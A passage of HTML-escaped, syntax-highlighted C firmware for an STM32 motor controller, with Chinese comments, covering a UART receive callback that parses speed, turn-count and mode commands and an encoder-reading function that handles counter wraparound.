class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_RxCpltCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUART_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这是HAL库提供的UART接收完成回调函数,当UART接收完成时,该函数会被自动调用。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 判断是哪个UART触发了回调,这里使用了单个UART1,可以根据实际情况进行扩展。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除空闲中断标志位,UART通信中,空闲中断通常用于检测接收结束。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_CLEAR_IDLEF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 禁用UART发送中断,以防止在处理接收数据时发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_DISABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查接收到的数据是否符合预期的协议,如果传输中出错了,就直接跳过不执行,根据协议格式解析数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// -1 -2 -3\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFF\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFE\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFD\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 从接收到的数据中提取速度、圈数和模式信息。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查速度和圈数是否都不为零,才需要转动。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果目标速度和位置都为零,则说明当前没有进行任何动作,可以开始新的动作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设置目标速度和目标位置。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 根据模式调用MoTo函数执行相应的操作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// MoTo 函数定义时要把屏幕传过来的 (0/1) 和 真实转动的对应正确\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 启动定时器,这样其他的中断才会发生。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果速度或圈数为零,就说明要停下电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 调用MoTo函数执行刹停电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数(防止下次启动时有上次残留的值) 并且 停止定时器。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART发送中断,以便后续可以发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART接收中断,以便继续接收数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清空UART的数据寄存器,以确保不会因为残留数据而触发接收中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_FLUSH_DRREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除UART接收缓冲区非空标志位,以确保下一次接收可以正常触发中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_FLAG_RXNE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里读取encoder有一个坑\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 由于这个encoder是一直累加(或减,取决于电机正反转)的, 它累加到最大值(减到0) 就自动重置了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 因此你上一次读的数 不一定比 这次读的数大, 这样一算差值, 就可能出现一个极其大的负值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 为了防止这种情况, 我们就需要把这个 tim 的读数一开始(main里面就设置了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 就设定到一个 中间数值(0和最大之间), 并且 每次读完之后都把它设定回去\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这样就能保证每次都得到一个 计算正确的 值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_TIM_GET_COUNTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e-=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里因为电机 正传反转 有一种情况是累加,一种是累减, 所以有正有负\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 但是计算pid并设置pwm都是正值, 所以返回绝对值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eDead_Voltage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e160\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eSet_Pwm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan 